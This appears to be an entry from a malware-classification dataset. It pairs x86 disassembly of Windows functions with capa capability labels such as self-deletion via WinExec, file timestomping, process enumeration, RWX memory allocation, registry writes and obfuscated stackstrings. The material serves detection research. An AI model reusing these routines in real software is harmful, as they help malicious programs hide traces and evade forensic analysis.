joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402080
Capabilities:
Timestomp file

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push esi
push 0
push 0x2000000
push 3
push 0
push 5
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4020af
xor eax, eax
pop esi
add esp, 0x18
ret
lea ecx, [esp + 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
lea edx, [esp + 0x28]
push ecx
push edx
call edi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push ecx
call edi
lea edx, [esp + 8]
lea eax, [esp + 0x28]
push edx
push eax
call edi
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x18
ret

Function at 0x402250
Capabilities:
Get common file path

Disassembly:
sub esp, 0x30c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
push 0x4053c0
push 0x4053b4
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call ebp
mov ebx, eax
mov al, 0x73
mov byte [esp + 0x10], al
mov byte [esp + 0x15], al
mov al, 0x6c
mov ecx, 0x3e
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
xor eax, eax
lea edi, [esp + 0x1a]
mov byte [esp + 0x11], 0x66
mov byte [esp + 0x12], 0x63
mov byte [esp + 0x13], 0x5f
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x16], 0x2e
mov byte [esp + 0x17], 0x64
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x114]
push ecx
push edx
lea eax, [esp + 0x11c]
push 0x4053ac
push eax
call ebx
add esp, 0x10
lea ecx, [esp + 0x114]
push ecx
call esi
mov esi, eax
test esi, esi
je 0x40232e
push 5
push esi
call ebp
mov edi, eax
mov eax, dword [esp + 0x320]
lea edx, [esp + 0x218]
push edx
push eax
call fcn.00402210
add esp, 8
lea ecx, [esp + 0x218]
push 0xffffffffffffffff
push ecx
push 0
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30c
ret
Function at 0x402340
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
mov dword [ebp - 8], 0
nop
nop
pushal
popal
nop
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
nop
nop
pushal
popal
nop
cmp dword [ebp - 4], 0xffffffff
je 0x4023e8
nop
nop
pushal
popal
nop
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x130]
push eax
push ecx
mov dword [ebp - 0x130], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4023e8
nop
nop
pushal
popal
nop
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x4023da
nop
nop
pushal
popal
nop
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x130]
push ecx
push edx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x4023e8
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x4023ac
nop
nop
pushal
popal
nop
mov edx, dword [ebp - 0x128]
mov dword [ebp - 8], edx
nop
nop
pushal
popal
nop
mov eax, dword [ebp - 4]
cmp eax, 0xffffffff
je 0x4023fc
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402870
Capabilities:
Create process on windows
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
push 0x4053c0
push 0x4053b4
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0x405428
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov byte [ebp + eax - 0x108], 0
nop
nop
pushal
popal
nop
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov byte [ebp + eax - 0x20c], 0
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x20c]
lea eax, [ebp - 0x108]
push edx
push eax
lea ecx, [ebp - 0x108]
push 0x405418
push ecx
call dword [ebp - 4]
add esp, 0x10
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x108]
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x4054a0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x110
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
push 0x4051cc
push 0x4051bc
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push 0x4051ac
push 0x4051bc
mov ebx, eax
call esi
push eax
call edi
push 0x40519c
push 0x4051bc
mov ebp, eax
call esi
push eax
call edi
push 0x40518c
push 0x4051bc
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push 0x405178
push 0x4051bc
mov dword [esp + 0x18], eax
call esi
push eax
call edi
mov ecx, dword [0x40516c]
mov edx, dword [0x405170]
mov dword [esp + 0x14], eax
mov eax, dword [0x405168]
mov dword [esp + 0x1c], eax
mov eax, dword [0x405174]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ecx
xor eax, eax
mov ecx, 0x3d
lea edi, [esp + 0x2c]
push 2
mov dword [esp + 0x28], edx
push eax
rep stosd dword es:[edi], eax
push eax
call ebx
mov esi, eax
test esi, esi
je 0x4055d8
mov ecx, dword [esp + 0x124]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 3
push 1
push 0x10
push 0x405154
push 0x405148
push esi
call ebp
mov ebx, dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
call ebx
cmp eax, 0x431
jne 0x40559a
push 0x10
push 0x405148
push esi
call dword [esp + 0x24]
mov edi, eax
push 0
push 0
push edi
call dword [esp + 0x1c]
test eax, eax
jne 0x4055a9
call ebx
push edi
mov edi, dword [esp + 0x18]
call edi
push esi
call edi
push 0
push 0
push 3
push 0
push 0
lea edx, [esp + 0x30]
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x110
ret

Function at 0x4055f0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
push 0x4051cc
push 0x4051bc
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push 0x40519c
push 0x4051bc
mov ebx, eax
call esi
push eax
call edi
push 0x405178
push 0x4051bc
mov ebp, eax
call esi
push eax
call edi
push 0x4051ec
push 0x4051bc
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push 0x4051dc
push 0x4051bc
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 2
push 0
push 0
call ebx
mov esi, eax
test esi, esi
je 0x4056a5
push 0x10020
push 0x405148
push esi
call ebp
mov edi, eax
test edi, edi
je 0x4056a0
lea ecx, [esp + 0x1c]
push ecx
push 1
push edi
call dword [esp + 0x20]
push edi
call dword [esp + 0x1c]
push edi
call dword [esp + 0x14]
push esi
call dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x405a20
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0xc]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x405a5a
push esi
push 0x40544c
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x405a8a
push esi
push 0x405430
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
ret

Function at 0x405aa0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x200
push esi
push edi
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0xc], 0x32
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x20c]
lea eax, [esp + 8]
push eax
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0xc]
lea eax, [esp + 0x14]
push edx
mov edx, dword [esp + 0x218]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x10]
push ecx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 1
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x210]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x200
ret

Function at 0x405c50
Capabilities:
Set registry value

Disassembly:
sub esp, 0x1f8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x208]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x204]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [esp + 0x20c]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push 0x1f4
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x1f8
ret
Function at 0x402f18
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404b04
test esi, esi
jne 0x402f4f
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404bf4
jmp 0x402f70
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402db4
mov dword [esp], eax
test esi, esi
je 0x402f70
cmp dword [ebx], 0
je 0x402f70
dec esi
jmp 0x402f57
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4035c8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x473008], 0x8088405
inc edx
mov dword [ebx + 0x473008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4035e4
Capabilities:
Read file on windows

Disassembly:
push ebx
xor ecx, ecx
mov ebx, eax
mov cx, word [eax + 4]
sub ecx, 0xd7b1
je 0x4035fa
sub ecx, 2
jne 0x40361c
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_ReadFile
pop edx
dec eax
jne 0x403623
cmp edx, dword [ebx + 8]
je 0x40362d
mov eax, 0x64
jmp 0x403628
mov eax, 0x67
jmp 0x403628
call sub.kernel32.dll_GetLastError
call fcn.00402cf4
pop ebx
ret

Function at 0x403834
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b2
cmp eax, 1
ja 0x403867
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_WriteFile
pop edx
dec eax
jne 0x40386e
cmp edx, dword [ebx + 8]
je 0x403878
mov eax, 0x65
jmp 0x403873
mov eax, 5
jmp 0x403873
call sub.kernel32.dll_GetLastError
call fcn.00402cf4
mov eax, ebx
pop ebx
ret

Function at 0x403be4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x473024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403c7c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403c5c
xor eax, eax
push ebp
push 0x403c55
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403c98
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403c5c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x473024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x473024], ax
mov esp, ebp
pop ebp
ret
Function at 0x404980
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47504c], 0
je 0x4049e1
cmp word [0x475220], 0xd7b2
jne 0x4049a9
cmp dword [0x475228], 0
jbe 0x4049a9
mov eax, 0x47521c
call dword [0x475238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x473094
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404a08
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x473034], 0
jne 0x4049fd
push 0
push 0x47308c
push 0x473094
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406b1c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406b82
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404d74
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403760
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406b6c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b89
lea eax, [ebp - 0x10]
call fcn.00404b04
ret

Function at 0x40c10c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c145
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404bf4
jmp 0x40c14e
mov eax, ebx
mov edx, esi
call fcn.00404b58
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c158
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c179
mov al, byte [esp]
jmp 0x40c17b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c810
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c678
mov eax, dword [0x47457c]
cmp byte [eax], 0
je 0x40c88c
mov eax, dword [0x474334]
call fcn.0040331c
call fcn.00402cd4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004097d0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c8d4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c8c2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4742d8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x475668]
call fcn.00405f88
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40d184
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d25a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404b9c
lea eax, [ebp - 8]
call fcn.00405014
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404fc4
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d244
mov eax, ebx
call fcn.00402b48
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d23d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404fc4
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40d227
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d26c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40d227
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d244
mov eax, dword [ebp - 0x10]
call fcn.00402b78
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d261
lea eax, [ebp - 8]
call fcn.00404b04
ret

Function at 0x40d840
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d8a4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404d74
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040926c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d8ab
lea eax, [ebp - 0xc]
call fcn.00404b04
ret
Function at 0x422050
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
lea ebx, [ebp - 0xc]
mov esi, 0x475888
cmp dword [esi], 0
jne 0x4220f6
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [0x475884]
mov dword [eax], edx
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, 0x473534
mov ecx, 2
call fcn.00402d74
mov edx, 0x422028
mov eax, dword [ebp - 8]
add eax, 5
call fcn.00422048
mov edx, dword [ebp - 8]
mov dword [edx + 6], eax
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebx], eax
mov eax, dword [ebx]
mov byte [eax], 0xe8
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, dword [ebx]
call fcn.00422048
mov edx, dword [ebx]
mov dword [edx + 1], eax
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [eax + 5], edx
mov eax, dword [ebx]
mov dword [esi], eax
add dword [ebx], 0xd
mov eax, dword [ebx]
sub eax, dword [ebp - 8]
cmp eax, 0xffc
jl 0x4220bd
mov eax, dword [ebp - 8]
mov dword [0x475884], eax
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [esi]
mov dword [ebx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 5]
mov dword [esi], eax
mov eax, dword [ebx]
mov edx, dword [ebp + 8]
mov dword [eax + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [eax + 9], edx
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x423744
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42374a
ret

Function at 0x425c10
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x425c61
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x425c48
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x425c38
jmp 0x425c61
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x425c49
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43609c
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404fb4
xor eax, eax
push ebp
push 0x4361cc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x43619f
xor eax, eax
push ebp
push 0x436198
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404dc4
inc eax
push eax
push 0x2002
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x43616d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43615c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404dc4
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00404fc4
mov edx, dword [ebp - 0xc]
pop ecx
call fcn.00402d74
call sub.user32.dll_EmptyClipboard
mov eax, dword [ebp - 8]
push eax
push 1
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x436163
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
ret
mov ecx, dword [0x47426c]
mov dl, 1
mov eax, dword [0x407f4c]
call fcn.0040c9a0
call fcn.00404518
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4361d3
lea eax, [ebp - 4]
call fcn.00404b04
ret
Function at 0x4361dc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x43638d
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x10]
mov edx, 0x1b
mov al, 0x2d
call fcn.004051b4
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x4363a4
call fcn.00404e10
mov eax, ebx
call fcn.004215cc
mov edi, eax
dec edi
test edi, edi
jl 0x436294
inc edi
xor esi, esi
mov edx, esi
mov eax, ebx
call fcn.004215a0
mov edx, dword [0x431130]
call fcn.00403f10
test al, al
je 0x436290
push dword [ebp - 0xc]
mov edx, esi
mov eax, ebx
call fcn.004215a0
lea edx, [ebp - 0x14]
call fcn.0043cf74
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov edx, 3
mov al, 0x20
call fcn.004051b4
push dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404e84
inc esi
dec edi
jne 0x436242
mov al, byte [0x4363a8]
push eax
lea eax, [ebp - 0x1c]
push eax
xor ecx, ecx
mov edx, 0x4363b4
mov eax, dword [ebp - 0xc]
call fcn.0040de1c
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
call fcn.00404b9c
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x68], 0xb
lea edx, [ebp - 0x70]
mov eax, ebx
call fcn.0043cf74
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x60], 0xb
mov eax, 0x4363a4
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x58], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x50], 0xb
lea edx, [ebp - 0x74]
mov eax, dword [ebx + 0x2f8]
call fcn.0043cf74
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x48], 0xb
mov eax, 0x4363a4
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x40], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
mov eax, 0x4363a4
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
lea edx, [ebp - 0x6c]
mov ecx, 9
mov eax, 0x4363c0
call fcn.00409ef0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x436394
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00404b28
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404b28
lea eax, [ebp - 0x14]
call fcn.00404b04
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404b28
ret

Function at 0x437940
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x43788c
call sub.user32.dll_EnumWindows
ret